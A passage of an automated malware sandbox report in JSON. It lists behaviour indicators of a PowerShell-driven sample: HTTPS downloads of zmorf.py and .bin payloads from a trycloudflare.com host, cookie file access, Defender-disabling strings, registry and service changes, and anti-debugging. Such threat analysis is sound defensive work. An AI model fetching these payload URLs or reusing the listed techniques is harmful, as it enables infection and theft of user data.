directory","description":"$4d","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$50","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003044.00000001.171730.3D140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"_socket.pyd\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005872-00000C2C-1687735836\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /xt/zmorf.py\"\n Found http requests in header \"GET /xt/BB1.bin\"\n Found http requests in header \"GET /xt/BB1.txt\"\n Found http requests in header \"GET /xt/s1.bin\"\n Found http requests in header \"GET /xt/s1.txt\"\n Found http requests in header \"GET /xt/s2.bin\"\n Found http requests in header \"GET /xt/s2.txt\"\n Found http requests in header \"GET /G143822563.pdf\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005872-00000C2C-1687735724\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005872-00000C2C-1687944587\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005872-00000C2C-1687944616\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005872-00000C2C-1688043247\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005872-00000C2C-1688043552\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \" socket \"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \" connect \"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \" bind \"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \" socket \"; File: \"_overlapped.pyd\")\n file/memory contains long string with (Indicator: \" socket \"; File: \"select.pyd\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00005872-00000C2C-1687735724\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00003044.00000001.171730.31DD0000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.32\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.1\"\n \"2.5.29.17\"\n \"2.5.4.6\"\n \"2.5.4.8\"\n \"2.5.4.7\"\n \"2.5.4.10\"\n \"2.5.4.11\"\n \"2.5.4.5\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$51","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$52","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$53","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: fc54e0d16d9764783542f0146a98b300","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://opposite\"\n Found HTTPS url \"https://www.python.org\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.bin\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.txt\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt\n Found HTTPS GET request to https://opposite-lodge-strict-closes.trycloudflare.com/G143822563.pdf","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"opposite-lodge-strict-closes.trycloudflare.com\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.16.231.132\" on port \"443\"\n HTTPS traffic to \"167.82.48.223\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00005872\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE3C649155610EE1EB62EAE67A2A3D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003044.00000000.171357.31DD0000.00000004.mdmp, 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEFC6D710839A2602BC955C2A65155]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEFC6D710839A2602BC955C2A65155]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003044.00000000.171357.31DD0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00003044.00000001.171730.3D140000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00005872.00000000.172076.3D140000.00000004.mdmp, 00000000-00005872.00000001.173995.3D140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve browser cookies using SQL","description":"Found string \":\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCookies\" (Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \"ft\\Windows\\INetCookies\" (Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \"icrosoft\\Windows\\INetCookies\" (Source: \"00000000-00003044.00000001.171730.4C78C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-692","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser cookies (file access)","description":"\"cmd.exe\" attempting to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"cmd.exe\" attempting to open a file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"","origin":"API Call","mitre_attack_id":"T1539","relevance":10,"id":"api-301","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$54","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"cmd.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"cmd.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$57","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003044.00000001.171730.3D140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"_remote_debugging.pyd\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"zmorf.py\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003044-00000C2C-1670917412\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003044-00000C2C-1674014419\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003044-00000C2C-1674014763\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003044-00000C2C-1674014793\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003044)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005872)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$58","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003044.00000000.171357.31DD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$59","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5b","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}psd1\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"s2.bin has high entropy\"\n \"urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtBB1.bin has high entropy\"\n \"BB1.bin has high entropy\"","origin":"Binary File","mitre_attack_id":"T1027.013","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$5d","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3044)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5872)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6572)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/25 Antivirus vendors marked sample as malicious (4% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$5e","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5f","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"The input sample dropped/contains a certificate file","description":"$60","origin":"Binary File","mitre_attack_id":"T1588.004","relevance":10,"id":"binary-12","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 167.82.48.223 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"libcrypto-3.dll\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on Chacha20 instruction used in file \"python314.dll\"\n YARA signature matched on Chacha20 instruction used in file \"libcrypto-3.dll\"\n YARA signature matched on Chacha20 instruction used in file \"sqlite3.dll\"","origin":"YARA 